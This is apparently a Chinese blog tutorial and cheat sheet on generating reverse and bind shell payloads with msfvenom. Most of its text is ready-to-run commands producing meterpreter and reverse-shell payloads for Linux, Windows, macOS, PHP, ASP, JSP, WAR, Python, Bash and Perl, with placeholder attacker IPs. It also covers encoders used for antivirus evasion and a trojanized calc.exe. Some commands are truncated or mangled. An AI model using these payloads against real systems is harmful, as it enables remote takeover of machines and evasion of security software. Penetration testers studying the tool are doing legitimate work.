不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

msf构造出shell反弹脚本

Liunx下能够构造shell反弹脚本有很多常见的如bash,netcat、socat以及各种语言,当然今天主要内容是详细介绍msfvenom如何生成shell脚本。

正文

metasploit-framework介绍

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。
Metasploit项目最为知名的子项目是开源的Metasploit框架,一套针对远程主机进行开发和执行“exploit代码”的工具。其他重要的子项目包括Opcode数据库、shellcode档案、安全研究等内容。
Metasploit项目知名的功能还包括反取证与规避工具,其中的某些工具已经内置在Metasploit Framework里面。–维基百科

如何安装metasploit-framework?

在kali-Linux中有自带metasploit-framework
当然假如你已经有了一个基于 Debian 的 Linux 环境 如ubuntu
你可以通过以下命令下载

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall

 

当然假如你是windows系统那么可以通过

https://windows.metasploit.com/metasploitframework-latest.msi

下载并且安装

Mac下安装metasploit
mac下安装metasploit比较简单,官网下载pkg安装包,直接安装即可;需要注意的是安装完成后的路径。
msfconsole路径:

/opt/metasploit-framework/bin
msf的插件路径:
/opt/metasploit-framework/embedded/framework/modules/exploits

当然假如以上步骤都不可以那么建议可以在metasploit-framework官网上进行安装传送门

如何深入了解metasploit-framework?

通过阅读metasploit-framework官方手册你可以快速入门metasploit-framework

msfvenom 介绍

MSFvenom是Msfpayload和Msfencode的组合,将这两个工具放在一个Framework实例中。可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线
msfvenom的优点是:

一个工具
标准化命令行选项
提高速度

msfvenom 使用

如何生成一个有效的反弹shell脚本呢

我们可以看一个例子,输入下面msfvenom命令行及其输出的示例:

msfvenom -a x86 –platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b ‘\x00’ -i 3 -f python

查看支持的输出文件类型:

msfvenom –help-formats

如果想要查看Framework的有效负载,可以执行

msfvenom -l payloads

msfvenom -l nops

基础payload
命令格式

msfvenom -p <payload> <payload options> -f <format> -o <path>

通常,这可能是您使用msfvenom的方式:

./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker’s IP] lport=4444 -f exe -o /tmp/my_payload.exe

参数解释

-e

如何编码有效负载?
默认情况下,使用-b标志(badchar标志)时,编码功能将自动启动。在其他情况下,您必须使用-e标志,如下所示:

如下所示:
./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

查看支持的编码方式:(为了达到免杀的效果)
msfvenom -l encoders

查看支持的空字段模块:(为了达到免杀的效果)
msfvenom -l nops

-f

-f标志:指定有效负载的格式
语法示例:./msfvenom -p windows/meterpreter/bind_tcp -f exe

LHOST/LPORT

LHOST – 该参数表示你想让你的监听器绑定的 IP 地址
LPORT – 该参数表示你想让你的监听器绑定的端口号

LHOST – 从字面上看,该参数表示你想让你的目标机器连接的地址。如果你在一个本地局域网,那么你的目标机器可能就不能直接连接到你的机器了,除非你们在同一个网络中。这种情况下,你需要 找到你的公网IP ,然后在你的网络中配置端口转发连接到你自己的用来攻击的电脑。LHOST 这个参数不可以被设置为 localhost, 0.0.0.0, 127.0.0.1,如果你这么设置了,那么你其实在让目标机器连接自己。
LPORT – 这个参数表示目标机器要连接的端口号

-b

如何避免部分字符过滤呢
-b标志用于避免有效负载中的某些字符。使用此选项时,msfvenom将自动找到合适的编码器来编码有效负载:

./msfvenom -p windows/meterpreter/bind_tcp -b ‘\x00’ -f raw

-p

-p:指定要生成的有效负载

Linux

反向连接:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

正向连接:

msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.ex

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

1
2
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa
Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Handlers

 

自选模块

生成执行计算器payload例子:

msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > 1.exe

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » msf构造出shell反弹脚本

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏